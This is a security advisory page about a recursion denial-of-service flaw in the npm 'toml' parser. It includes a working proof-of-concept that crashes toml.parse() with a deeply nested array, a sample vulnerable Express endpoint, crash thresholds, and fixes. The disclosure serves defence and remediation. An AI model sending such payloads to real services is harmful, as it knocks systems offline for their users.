Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-82x6-q7mm-w9cf
Summary
toml.parse() crashes with an uncaught RangeError: Maximum call stack size exceeded when parsing deeply nested arrays or inline tables. The parser is generated by Peggy 5.1.0 (a PEG parser generator) as a recursive-descent parser; the value rule mutually recurses with the array and inline-table rules with no depth limit, so nesting depth equal to the input depth exhausts Node's call stack.
A small payload — a bare array nested a few thousand levels deep (~5–6 KB) — reliably crashes the process on a default Node.js configuration. toml has ~47 million monthly downloads.
Vulnerable Code
The parser is a generated recursive-descent parser (lib/parser.js, header: // @generated by Peggy 5.1.0.). The recursion sink is the mutual recursion between the value, array, and inline_table rule functions — none carry a depth counter:
// lib/parser.js — peg$parsevalue() @ line 1008
function peg$parsevalue() {
...
s0 = peg$parsearray(); // line 1017 ← value → array
if (s0 === peg$FAILED) {
s0 = peg$parseinline_table(); // line 1019 ← value → inline_table
}
...
}
// peg$parsearray() @ line 2879
function peg$parsearray() {
...
s3 = peg$parsevalue(); // line 2931 ← array element → value (back-edge)
...
}
// peg$parseinline_table() @ line 3066 → peg$parseinline_table_entry() @ line 3239
function peg$parseinline_table_entry() {
...
s5 = peg$parsevalue(); // line 3266 ← inline-table value → value (back-edge)
...
}
Recursion cycle for a=[[[ … ]]] (bare nested arrays):
toml.parse(src)
→ peg$parsevalue() # parser.js:1008
→ peg$parsearray() # parser.js:1017 / 2879
→ peg$parsevalue() # parser.js:2931 ← back-edge, per nested element
→ … # depth == input nesting → RangeError, no guard
Inline tables ({arr=[ … ]}, {a={a= … }}) reach the same cycle via peg$parseinline_table / peg$parseinline_table_entry. Because the parser is machine-generated, there is no hand-written function to patch; the fix belongs in the grammar (src/toml.pegjs) or in an input guard (see Suggested Fix).
Confirmed PoC (toml 4.1.2, Node.js v24.16.0)
Setup:
npm install toml@4.1.2 # latest release; 4.1.1 and earlier are equally affected
# Docker equivalent:
# docker run --rm node:24 bash -c "npm i -g toml >/dev/null 2>&1; node -e '<PoC below>'"
Reproduce — save as poc.js, run node poc.js:
const toml = require('toml');
console.log('version:', require('toml/package.json').version); // 4.1.2
// Smallest reliable payload: a bare array nested 3000 levels (~6 KB)
let x = '1';
for (let i = 0; i < 3000; i++) x = '[' + x + ']';
const payload = 'a=' + x;
console.log('payload bytes:', payload.length); // 6003
try {
toml.parse(payload);
console.log('no crash');
} catch (e) {
console.log('CONFIRMED:', e.constructor.name + ':', e.message.slice(0, 40));
console.log('is RangeError?', e instanceof RangeError, // true
'| is SyntaxError?', e instanceof SyntaxError); // false
}
Expected output (vulnerable — actual run):
version: 4.1.2
payload bytes: 6003
CONFIRMED: RangeError: Maximum call stack size exceeded
is RangeError? true | is SyntaxError? false
Verified crash thresholds (fresh process, single parse, default Node 24 stack):
| Payload shape | Reliable crash depth | Payload size |
|---------------|----------------------|--------------|
| Bare nested array a=[[ … ]] | ≥ ~2,500 | ~5 KB (6 KB at depth 3000, used above) |
| Inline table {arr=[ … ]} | ≥ ~1,500 | ~12 KB |
Note on the exact threshold: the precise crashing depth is not perfectly deterministic — it shifts by a few hundred levels depending on V8 JIT state, Node version, platform, and any configured
--stack-size. This is expected for a stack-overflow condition. A payload nested a few thousand levels deep (single-digit KB) crashes reliably across runs; the PoC above (depth 3000) leaves ample margin.
Realistic Attack Scenario
// Node.js service parsing user-supplied TOML config
const express = require('express');
const toml = require('toml');
const app = express();
app.use(express.text({ type: 'application/toml', limit: '100kb' }));
app.post('/config', (req, res) => {
try {
const config = toml.parse(req.body); // ← RangeError on ~6 KB nested payload
res.json({ status: 'ok' });
} catch (e) {
// toml only throws a peg$SyntaxError (e.name === 'SyntaxError', with e.line/e.column)
// on malformed input. A RangeError has neither, so this guard rethrows it:
if (e.line != null) return res.status(400).json({ error: e.message });
throw e; // RangeError propagates → uncaught → worker down
}
});
An unauthenticated attacker POSTs a ~6 KB deeply nested body (well under the 100 KB limit). toml.parse overflows the stack and throws RangeError; any handler that only special-cases syntax errors rethrows it, taking down the request (and, depending on the server, the worker).
The package exports only
parse(Object.keys(require('toml'))→['parse']); there is notoml.SyntaxError. Code written ascatch (e) { if (e instanceof toml.SyntaxError) … }is itself broken (instanceof undefinedthrows), so applications generally cannot cleanly distinguish the DoSRangeErrorfrom a normal parse error.
Impact
Any Node.js application that calls toml.parse() on untrusted input is exposed to a remote, unauthenticated denial of service via a small (~5–6 KB) deeply nested payload. toml.parse is the package's only public API, and TOML is commonly parsed from user-supplied config/upload endpoints. With ~47 million monthly downloads and 0 existing CVEs, the exposure is broad.
RangeError is a subclass of Error (not of the parser's SyntaxError), so it bypasses the usual "is this a parse error?" checks and propagates as an unexpected exception.
Suggested Fix
Because lib/parser.js is generated, the fix should be applied at the grammar level and regenerated, or guarded at the entry point:
Option 1 — grammar-level depth guard (src/toml.pegjs), then re-run Peggy:
// In the grammar initializer:
{ let depth = 0; const MAX_DEPTH = 500; }
// Wrap the recursive `value` rule:
value = &{ if (++depth > MAX_DEPTH) { error("TOML nesting too deep"); } return true; }
v:(array / inline_table / ...) { depth--; return v; }
Option 2 — entry-point guard in index.js (reject pathological input before parsing):
module.exports.parse = function (input) {
// cheap structural bound before the recursive parse
let depth = 0, max = 0;
for (const ch of input) {
if (ch === '[' || ch === '{') max = Math.max(max, ++depth);
else if (ch === ']' || ch === '}') depth--;
}
if (max > 500) throw new Error('TOML nesting depth exceeds limit (500)');
return realParse(input);
};
Immediate mitigation (users, verified): bound untrusted input length and bracket-nesting depth before calling toml.parse(), e.g. reject payloads whose maximum [/{ nesting exceeds a few hundred. A byte-length limit alone is insufficient (5 KB already crashes).
Comparison with Related Vulnerabilities
Same CWE-674 class as the recursion-DoS findings in the PyPI toml package (C055) and the YAML parsers (PyYAML GHSA-r9mm-j37c-pjwp, ruamel.yaml). The distinguishing detail here: the parser is generated by Peggy, so the recursion lives in peg$parsevalue/peg$parsearray/peg$parseinline_table and cannot be fixed by editing a hand-written function — the earlier draft of this report incorrectly showed hand-written parseValue(tokens, index) functions that do not exist in the package.
Upload your own SBOM in CycloneDX 1.6 or higher (JSON) directly here to check your vulnerabilities.
Drag and drop some file here, or click to select
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard